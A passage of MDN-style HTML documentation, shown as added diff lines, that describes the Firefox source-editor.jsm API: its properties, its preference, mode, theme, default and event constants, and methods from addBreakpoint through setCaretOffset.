+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#setCaretPosition()" title="en/JavaScript_code_modules/source-editor.jsm#setCaretPosition()">setCaretPosition</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aLine, [optional] </code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aColumn, [optional] </code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aAlign);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#setSelection()" title="en/JavaScript_code_modules/source-editor.jsm#setSelection()">setSelection</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aStart, </code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aEnd);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Breakpoint_management">Breakpoint management</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/source-editor.jsm#addBreakpoint()" title="en/JavaScript_code_modules/source-editor.jsm#addBreakpoint()">addBreakpoint</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aLineIndex, [optional] </code><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code><code> aCondition);</code> {{ fx_minversion_inline("13") }}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array">Array</a> <a href="/en/JavaScript_code_modules/source-editor.jsm#getBreakpoints()" title="en/JavaScript_code_modules/source-editor.jsm#getBreakpoints()">getBreakpoints</a>();</code> {{ fx_minversion_inline("13") }}</td>
+  </tr>
+  <tr>
+   <td><code>Boolean <a href="/en/JavaScript_code_modules/source-editor.jsm#removeBreakpoint()" title="en/JavaScript_code_modules/source-editor.jsm#removeBreakpoint()">removeBreakpoint</a>(</code><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code><code> aLineIndex)</code><code>;</code> {{ fx_minversion_inline("13") }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>dirty</code></td>
+   <td><code>Boolean</code></td>
+   <td>Set this value to <code>false</code> whenever you save the text; the editor will update it to <code>true</code> when the content is changed. You can then use this value to detect when the contents of the text are different from your most recent save. In addition, when this value changes, the "{{ anch("DirtyChanged") }}" event is sent. {{ gecko_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>editorElement</code></td>
+   <td>{{ domxref("Element") }}</td>
+   <td>The element containing the editor. When using the default Orion editor, this is a XUL {{ XULElem("iframe") }} element. <strong>Read only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>lastFind</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a></td>
+   <td>
+    <p>An object describing the result of the last find operation performed using the {{ manch("find") }}, {{ manch("findNext") }}, or {{ manch("findPrevious") }} method. <strong>Read only.</strong></p>
+
+    <p>This object has the following properties:</p>
+
+    <table class="standard-table" style="width: auto;">
+     <tbody>
+      <tr>
+       <td class="header">Property</td>
+       <td class="header">Type</td>
+       <td class="header">Description</td>
+      </tr>
+      <tr>
+       <td><code>str</code></td>
+       <td><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code></td>
+       <td>The last string that was searched for.</td>
+      </tr>
+      <tr>
+       <td><code>index</code></td>
+       <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+       <td>An integer value indicating the result of the most recent find operation; this is the index into the text at which <code>str</code> was found, or -1 if the string wasn't found.</td>
+      </tr>
+      <tr>
+       <td><code>lastFound</code></td>
+       <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+       <td>The index of the previous location at which <code>str</code> was found, for multiple find operations (such as {{ manch("find") }} followed by {{ manch("findNext") }}). This can be -1 if the string was never found.</td>
+      </tr>
+      <tr>
+       <td><code>ignoreCase</code></td>
+       <td><code>Boolean</code></td>
+       <td><code>true</code> if the search was case sensitive; otherwise <code>false</code>.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>readOnly</code></td>
+   <td><code>Boolean</code></td>
+   <td>Set this value to <code>true</code> to make the editor read only, thereby preventing the user from making changes. Set it to <code>false</code> to allow editing.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constants">Constants</h2>
+
+<h3 id="Preference_name_constants">Preference name constants</h3>
+
+<p>These constants define the names of preferences used by the source editor.</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.PREFS.COMPONENT</code></td>
+   <td>"devtools.editor.component"</td>
+   <td>A string indicating the name of the source editor engine to use; this is "orion" by default. The source editor code module loads a module by the name "source-editor-&lt;component&gt;.jsm" and exposes its API as part of the <code>SourceEditor</code> object.</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.PREFS.EXPAND_TAB</code></td>
+   <td>"devtools.editor.expandtab"</td>
+   <td>A Boolean value that indicates whether or not to automatically expand tabs out to a series of spaces.</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.PREFS.TAB_SIZE</code></td>
+   <td>"devtools.editor.tabsize"</td>
+   <td>An integer value that specifies the number of spaces per tab.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Editor_mode_constants">Editor mode constants</h3>
+
+<p>These constants are used to set the syntax highlighting mode for the editor by calling its {{ manch("setMode") }} method, or in the configuration object when first initializing the editor using its {{ manch("init") }} method.</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.MODES.CSS</code></td>
+   <td>"css"</td>
+   <td>Cascading Style Sheet.</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.MODES.HTML</code></td>
+   <td>"html"</td>
+   <td>HTML document.</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.MODES.JAVASCRIPT</code></td>
+   <td>"js"</td>
+   <td>JavaScript source code.</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.MODES.TEXT</code></td>
+   <td>"text"</td>
+   <td>UTF-8 text document.</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.MODES.XML</code></td>
+   <td>"xml"</td>
+   <td>XML document.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Theme_constants">Theme constants</h3>
+
+<p>These constants are used to identify the available themes that can be used by the syntax highlighter. Only one is provided by default at this time.</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.THEMES.MOZILLA</code></td>
+   <td>"mozilla"</td>
+   <td>The default Mozilla syntax highlighter theme.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Configuration_defaults_constants">Configuration defaults constants</h3>
+
+<p>These constants represent the default values for each of the available configuration options. See {{ anch("The editor configuration object") }} for details on configuring the editor.</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.contextMenu</code></td>
+   <td>"sourceEditorContextMenu"</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.expandTab</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.highlightCurrentLine</code></td>
+   <td><code>true</code> {{ fx_minversion_inline("13") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.initialText</code></td>
+   <td>""</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.keys</code></td>
+   <td><code>null</code></td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.mode</code></td>
+   <td><code>SourceEditor.MODES.TEXT</code></td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.readOnly</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.showAnnotationRuler</code></td>
+   <td><code>false</code> {{ fx_minversion_inline("13") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.showLineNumbers</code></td>
+   <td><code>false</code> {{ fx_minversion_inline("13") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.showOverviewRuler</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.tabSize</code></td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.theme</code></td>
+   <td><code>SourceEditor.THEMES.MOZILLA</code></td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.DEFAULTS.undoLimit</code></td>
+   <td>200</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Event_name_constants">Event name constants</h3>
+
+<p>These constants provide the names of the editor events for which you can listen.</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.BLUR</code></td>
+   <td>"{{ anch("Blur") }}"</td>
+   <td>Fired when the editor loses focus. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.BREAKPOINT_CHANGE</code></td>
+   <td>"{{ anch("BreakpointChange") }}"</td>
+   <td>Fired when a new breakpoint is added, or when an existing breakpoint is removed. This happens both when the API is used to make the change or when the UI is used to do it. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.CONTEXT_MENU</code></td>
+   <td>"{{ anch("ContextMenu") }}"</td>
+   <td>Fired when the editor's context menu is invoked, but before it's opened.</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.DIRTY_CHANGED</code></td>
+   <td>"{{ anch("DirtyChanged") }}"</td>
+   <td>Fired when the dirty state of the editor is changed. The dirty state indicates whether or not there are unsaved changes to the text. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.FOCUS</code></td>
+   <td>"{{ anch("Focus") }}"</td>
+   <td>Fired when the editor gains focus. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.MOUSE_MOVE</code></td>
+   <td>"{{ anch("MouseMove") }}"</td>
+   <td>Fired when the user moves the mouse over a line annotation. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.MOUSE_OUT</code></td>
+   <td>"{{ anch("MouseOut") }}"</td>
+   <td>Fired when the mouse pointer leaves a line annotation. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.MOUSE_OVER</code></td>
+   <td>"{{ anch("MouseOver") }}"</td>
+   <td>Fired when the mouse pointer enters a line annotation. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.SELECTION</code></td>
+   <td>"{{ anch("Selection") }}"</td>
+   <td>Fired when the current selection in the editor changes.</td>
+  </tr>
+  <tr>
+   <td><code>SourceEditor.EVENTS.TEXT_CHANGED</code></td>
+   <td>"{{ anch("TextChanged") }}"</td>
+   <td>Fired when the editor's content changes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="addBreakpoint">addBreakpoint</h3>
+
+<p>Adds a breakpoint to be triggered at a certain line in the code, under an optional condition.</p>
+
+<div class="note"><strong>Note:</strong> Implementing actual support for debugger features such as breakpoints is up to you. The editor simply tracks their existence and marks them with annotations in the editor.</div>
+
+<pre>void addBreakpoint(
+  Number aLineIndex,
+  [optional] String aCondition
+);
+</pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aLineIndex</code></dt>
+ <dd>The 0-based line number at which to place the breakpoint.</dd>
+ <dt><code>aCondition</code> {{ optional_inline() }}</dt>
+ <dd>A string describing the condition under which the breakpoint should be triggered. This information is simply recorded as part of the breakpoint annotation. <span style="color: #ff0000;"><strong><span style="background-color: #ffff00;">NEED LINK TO TEXT ABOUT HANDLING BREAKPOINT CONDITIONS HERE.</span></strong></span></dd>
+</dl>
+
+<h3 id="addEventListener()">addEventListener()</h3>
+
+<p>Adds a new event listener to the editor. You can listen for any of the events listed in {{ anch("Event name constants") }}. To stop listening for the event, call {{ manch("removeEventListener") }}.</p>
+
+<pre>void addEventListener(
+  String aEventType,
+  Function aCallback
+);
+</pre>
+
+<h6 id="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt><code>aEventType</code></dt>
+ <dd>The name of the event type to listen for; see {{ anch("Event name constants") }} for possible values.</dd>
+ <dt><code>aCallback</code></dt>
+ <dd>The function to call when the specified event occurs.</dd>
+</dl>
+
+<h3 id="canRedo()">canRedo()</h3>
+
+<p>Determines whether or not there are changes that can be redone.</p>
+
+<pre>Boolean canRedo();
+</pre>
+
+<h6 id="Parameters_3">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value">Return value</h6>
+
+<p><code>true</code> if there are changes that can be redone, otherwise <code>false</code>.</p>
+
+<h3 id="canUndo()">canUndo()</h3>
+
+<p>Determines whether or not there are changes that can be undone.</p>
+
+<pre>Boolean canUndo();
+</pre>
+
+<h6 id="Parameters_4">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_2">Return value</h6>
+
+<p><code>true</code> if there are changes that can be undone, otherwise <code>false</code>.</p>
+
+<h3 id="destroy()">destroy()</h3>
+
+<p>Destroys the editor, releasing resource it's allocated and removing event handlers it's installed. You should call this method when you're done using the editor object.</p>
+
+<pre>void destroy();
+</pre>
+
+<h6 id="Parameters_5">Parameters</h6>
+
+<p>None.</p>
+
+<h3 id="dropSelection()">dropSelection()</h3>
+
+<p>Deselects the currently selected text.</p>
+
+<pre>void dropSelection();
+</pre>
+
+<h6 id="Parameters_6">Parameters</h6>
+
+<p>None.</p>
+
+<h3 id="endCompoundChange()">endCompoundChange()</h3>
+
+<p>Ends a compound change that was previously started by calling {{ manch("startCompoundChange") }}. All changes made to the text between the two calls is considered to be a single edit for the purposes of undo operations.</p>
+
+<pre>void endCompoundChange();
+</pre>
+
+<h6 id="Parameters_7">Parameters</h6>
+
+<p>None.</p>
+
+<h3 id="find()">find()</h3>
+
+<p>Finds a string in the editor's text.</p>
+
+<pre>Number find(
+  [optional] String aString
+  [optional] Object aOptions
+);
+</pre>
+
+<h6 id="Parameters_8">Parameters</h6>
+
+<dl>
+ <dt><code>aString</code> {{ optional_inline() }}</dt>
+ <dd>The string for which to search. If not specified, the currently selected text in the editor is used as the search string.</dd>
+ <dt><code>aOptions</code> {{ optional_inline() }}</dt>
+ <dd>An optional object containing properties customizing the search operation. See {{ anch("Find options") }} for details.</dd>
+</dl>
+
+<h6 id="Return_value_3">Return value</h6>
+
+<p>Returns an integer indicating the offset into the text at which the first character of the found string is located, or -1 if the string wasn't found.</p>
+
+<h6 id="Find_options">Find options</h6>
+
+<p>The <code>aOptions</code> object can customize the search operation. It may have the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>backwards</code></td>
+   <td><code>Boolean</code></td>
+   <td>If <code>true</code>, the search begins at <code>start</code> (or the end of the text, if <code>start</code> is not specified) and progresses toward the beginning of the text. Otherwise the search progresses forward. The default is <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>ignoreCase</code></td>
+   <td><code>Boolean</code></td>
+   <td>If <code>true</code>, the search is performed in a case-insensitive manner; otherwise case is considered. The default is <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>start</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>An integer value indicating the offset into the text at which to begin the find operation. The default is 0 if <code>backwards</code> is <code>false</code>, or <code>text.length</code> if <code>backwards</code> is true.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="findNext()">findNext()</h3>
+
+<p>Finds the next occurrence of the search operation started by the last call to {{ manch("find") }}.</p>
+
+<div class="note"><strong>Note:</strong> This ignores the value you specified for <code>backwards</code> in the original search; it always searches forward.</div>
+
+<pre>Number findNext(
+  Boolean aWrap
+};
+</pre>
+
+<h6 id="Parameters_9">Parameters</h6>
+
+<dl>
+ <dt><code>aWrap</code></dt>
+ <dd>If <code>true</code>, the search operation will wrap around to the beginning of the text. Otherwise, the search stops if the end of the text is reached.</dd>
+</dl>
+
+<h6 id="Return_value_4">Return value</h6>
+
+<p>The offset into the text at which the next occurrence of the string begins, or -1 if the string isn't found.</p>
+
+<h3 id="findPrevious()">findPrevious()</h3>
+
+<p>Finds the previous occurrence of the search operation started by the last call to {{ manch("find") }}.</p>
+
+<div class="note"><strong>Note:</strong> This ignores the value you specified for <code>backwards</code> in the original search; it always searches backward.</div>
+
+<pre>Number findNext(
+  Boolean aWrap
+};
+</pre>
+
+<h6 id="Parameters_10">Parameters</h6>
+
+<dl>
+ <dt><code>aWrap</code></dt>
+ <dd>If <code>true</code>, the search operation will wrap around to the end of the text. Otherwise, the search stops if the beginning of the text is reached.</dd>
+</dl>
+
+<h6 id="Return_value_5">Return value</h6>
+
+<p>The offset into the text at which the next occurrence of the string begins, or -1 if the string isn't found.</p>
+
+<h3 id="focus()">focus()</h3>
+
+<p>Makes the editor the focus for user input.</p>
+
+<pre>void focus();
+</pre>
+
+<h6 id="Parameters_11">Parameters</h6>
+
+<p>None.</p>
+
+<h3 id="getBreakpoints">getBreakpoints</h3>
+
+<p>Returns an array of all of the breakpoints currently set on the code in the editor instance.</p>
+
+<pre>Array getBreakpoints();
+</pre>
+
+<h6 id="Parameters_12">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_6">Return value</h6>
+
+<p>An <code><a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array">Array</a></code> of all of the breakpoints in the editor instance. Each breakpoint is an <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a> with the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>line</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The 0-based line number on which the breakpoint is set.</td>
+  </tr>
+  <tr>
+   <td><code>condition</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/String" title="String">String</a></code></td>
+   <td>The condition string that was specified when the breakpoint was set.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="getCaretOffset()">getCaretOffset()</h3>
+
+<p>Returns the current caret position (insertion point) as an offset into the text.</p>
+
+<pre>Number getCaretOffset();
+</pre>
+
+<h6 id="Parameters_13">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_7">Return value</h6>
+
+<p>The 0-based offset into the text at which newly-typed characters will be inserted.</p>
+
+<h3 id="getCaretPosition()">getCaretPosition()</h3>
+
+<p>Returns an object describing the position of the caret (insertion point) in terms of its line number and column.</p>
+
+<pre>Object getCaretPosition();
+</pre>
+
+<h6 id="Parameters_14">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_8">Return value</h6>
+
+<p>The returned object describes the caret position:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>line</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The 0-based line number on which the caret is located.</td>
+  </tr>
+  <tr>
+   <td><code>col</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The 0-based column number on which the caret is located.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="getCharCount()">getCharCount()</h3>
+
+<p>Returns the number of characters in the editor's content.</p>
+
+<pre>Number getCharCount();
+</pre>
+
+<h6 id="Parameters_15">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_9">Return value</h6>
+
+<p>The number of characters in the editor's text.</p>
+
+<h3 id="getIndentationString">getIndentationString</h3>
+
+<p>Returns a string containing the character or characters that are inserted when the user presses the tab key.</p>
+
+<pre>String getIndentationString();
+</pre>
+
+<h6 id="Parameters_16">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_10">Return value</h6>
+
+<p>If tabs are configured to be expanded into spaces (that is, the <code>expandTab</code> property is <code>true</code>), the returned string is comprised of the number of spaces specified by the <code>tabSize</code> property when the editor was initialized by calling {{ manch("init") }}. Otherwise, the returned string is simply "\t".</p>
+
+<h3 id="getLineCount()">getLineCount()</h3>
+
+<p>Returns the number of lines of text in the editor.</p>
+
+<pre>Number getLineCount();
+</pre>
+
+<h6 id="Parameters_17">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_11">Return value</h6>
+
+<p>The number of lines of text in the document being edited.</p>
+
+<h3 id="getLineDelimiter()">getLineDelimiter()</h3>
+
+<p>Returns a string containing the character or characters that are used as the end of each line of text. This may be, for example, "\n", "\r", or "\r\n".</p>
+
+<pre>String getLineDelimiter();
+</pre>
+
+<h6 id="Parameters_18">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_12">Return value</h6>
+
+<p>A string containing the character or characters that delineate lines of text.</p>
+
+<h3 id="getLineEnd">getLineEnd</h3>
+
+<p>Returns the character offset of the character after the specified line number in the text.</p>
+
+<pre>Number getLineEnd(
+  Number aLineIndex,
+  [optional] Boolean aIncludeDelimiter
+);
+</pre>
+
+<h6 id="Parameters_19">Parameters</h6>
+
+<dl>
+ <dt><code>aLineIndex</code></dt>
+ <dd>Zero-based offset to the line number to which to return the end offset.</dd>
+ <dt><code>aIncludeDelimiter</code> {{ optional_inline() }}</dt>
+ <dd>If <code>false</code>, the returned offset is to the first character of the end-of-line delimiter if the specified line (this is the default). If <code>true</code>, the returned offset is the offset to the first character of the following line.</dd>
+</dl>
+
+<h6 id="Return_value_13">Return value</h6>
+
+<p>The offset to the last character in the specified line, or -1 if the specified line number is out of range.</p>
+
+<h3 id="getLineStart">getLineStart</h3>
+
+<p>Returns the character offset of the first character of the specified line in the text.</p>
+
+<pre>Number getLineStart(
+  Number aLineIndex
+);
+</pre>
+
+<h6 id="Parameters_20">Parameters</h6>
+
+<dl>
+ <dt><code>aLineIndex</code></dt>
+ <dd>Zero-based offset to the line number to which to return the end offset.</dd>
+</dl>
+
+<h6 id="Return_value_14">Return value</h6>
+
+<p>The offset to the first character in the specified line, or -1 if the specified line number is out of range.</p>
+
+<h3 id="getMode()">getMode()</h3>
+
+<p>Returns the current syntax highlighting mode for the document's contents.</p>
+
+<pre>String getMode();
+</pre>
+
+<h6 id="Parameters_21">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_15">Return value</h6>
+
+<p>A string indicating the type of file being edited, as previously set using either the <code>mode</code> property when configuring the editor, or by a call to {{ manch("setMode") }}. See {{ anch("Editor mode constants") }} for possible values.</p>
+
+<h3 id="getSelectedText()">getSelectedText()</h3>
+
+<p>Returns the currently-selected text.</p>
+
+<pre>String getSelectedText();
+</pre>
+
+<h6 id="Parameters_22">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_16">Return value</h6>
+
+<p>The currently-selected text in the editor.</p>
+
+<h3 id="getSelection()">getSelection()</h3>
+
+<p>Returns an object indicating the offsets to the first and last characters that are currently selected.</p>
+
+<pre>Object getSelection();
+</pre>
+
+<h6 id="Parameters_23">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_17">Return value</h6>
+
+<p>An object describing the currently selected range of text in the editor:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>start</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>0-based offset to the first character in the current selection.</td>
+  </tr>
+  <tr>
+   <td><code>end</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>0-based offset to the end of the current selection. The character at this offset is <strong>not</strong> included in the selection; it's essentially the first character after the selection.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>If there's no selection, the current caret position is returned for both <code>start</code> and <code>end</code>.</p>
+
+<h3 id="getText()">getText()</h3>
+
+<p>Returns the text in the specified range within the editor, or all of the editor's text if no range is given.</p>
+
+<pre>String getText(
+  [optional] Number aStart,
+  [optional] Number aEnd
+);
+</pre>
+
+<h6 id="Parameters_24">Parameters</h6>
+
+<dl>
+ <dt><code>aStart</code> {{ optional_inline() }}</dt>
+ <dd>The offset to the first character to retrieve.</dd>
+ <dt><code>aEnd</code> {{ optional_inline() }}</dt>
+ <dd>The offset to the last character to retrieve. If this isn't provided, all text from <code>aStart</code> (or the beginning of the document, if that wasn't provided either) to the end of the text is returned.</dd>
+</dl>
+
+<h6 id="Return_value_18">Return value</h6>
+
+<p>A string containing the specified range of text (or all of the text, if a range wasn't provided).</p>
+
+<h3 id="getTopIndex()">getTopIndex()</h3>
+
+<p>Returns the line number of the first line currently visible in the editor, based on the current scroll position of the editor.</p>
+
+<pre>Number getTopIndex();
+</pre>
+
+<h6 id="Parameters_25">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_19">Return value</h6>
+
+<p>The line number of the first visible line; this is a 0-based value, so the first line of the document is line number 0.</p>
+
+<h3 id="init()">init()</h3>
+
+<p>Initializes the editor. You must call this, and wait until your callback is called, before calling any other Source Editor methods.</p>
+
+<pre>void init(
+  Element aElement,
+  Object aConfig
+  Function aCallback
+);
+</pre>
+
+<h6 id="Parameters_26">Parameters</h6>
+
+<dl>
+ <dt><code>aElement</code></dt>
+ <dd>The DOM {{ domxref("element") }} in which to place the editor.</dd>
+ <dt><code>aConfig</code></dt>
+ <dd>An object containing a set of properties used to configure the editor. See {{ anch("The editor configuration object") }} for details.</dd>
+ <dt><code>aCallback</code></dt>
+ <dd>A function that will be called when the editor has been fully loaded and initialized.</dd>
+</dl>
+
+<h3 id="hasFocus()">hasFocus()</h3>
+
+<p>Determines whether or not the editor is currently focused.</p>
+
+<pre>Boolean hasFocus();
+</pre>
+
+<h6 id="Parameters_27">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_20">Return value</h6>
+
+<p><code>true</code> if the editor is currently focused, otherwise <code>false</code>.</p>
+
+<h3 id="redo()">redo()</h3>
+
+<p>Redoes the most recently undone change in the editor.</p>
+
+<pre>Boolean redo();
+</pre>
+
+<h6 id="Parameters_28">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_21">Return value</h6>
+
+<p><code>true</code> if a change was redone, otherwise <code>false</code>.</p>
+
+<h3 id="removeBreakpoint">removeBreakpoint</h3>
+
+<p>Removes the breakpoint from the specified line of code.</p>
+
+<pre>Boolean removeBreakpoint(
+  Number aLineIndex
+);
+</pre>
+
+<h6 id="Parameters_29">Parameters</h6>
+
+<dl>
+ <dt>aLineIndex</dt>
+ <dd>The 0-based line number from which to remove the breakpoint.</dd>
+</dl>
+
+<h6 id="Return_value_22">Return value</h6>
+
+<p><code>true</code> if a breakpoint was removed, otherwise <code>false</code>.</p>
+
+<h3 id="removeEventListener()">removeEventListener()</h3>
+
+<p>Removes an event listener (previously established by calling {{ manch("addEventListener") }} from the editor.</p>
+
+<pre>void removeEventListener(
+  String aEventType,
+  Function aCallback
+);
+</pre>
+
+<h6 id="Parameters_30">Parameters</h6>
+
+<dl>
+ <dt><code>aEventType</code></dt>
+ <dd>The name of the event type to stop listening for; see {{ anch("Event name constants") }} for possible values.</dd>
+ <dt><code>aCallback</code></dt>
+ <dd>The function to stop calling when the specified event occurs.</dd>
+</dl>
+
+<h3 id="resetUndo">resetUndo</h3>
+
+<p>Resets the undo stack, removing all possible undo and redo operations from the stack.</p>
+
+<pre>void resetUndo();
+</pre>
+
+<h6 id="Parameters_31">Parameters</h6>
+
+<p>None.</p>
+
+<h3 id="setCaretOffset()">setCaretOffset()</h3>
+
+<p>Sets the current caret position (insertion point) for newly-entered text.</p>
+
+<pre>void setCaretOffset(
+  Number aOffset
+);
+</pre>
+
+<h6 id="Parameters_32">Parameters</h6>
+
+<dl>
+ <dt><code>aOffset</code></dt>
+ <dd>The 0-based offset into the text at which to place the caret.</dd>
+</dl>
+
+<h3 id="setCaretPosition()">setCaretPosition()</h3>
+
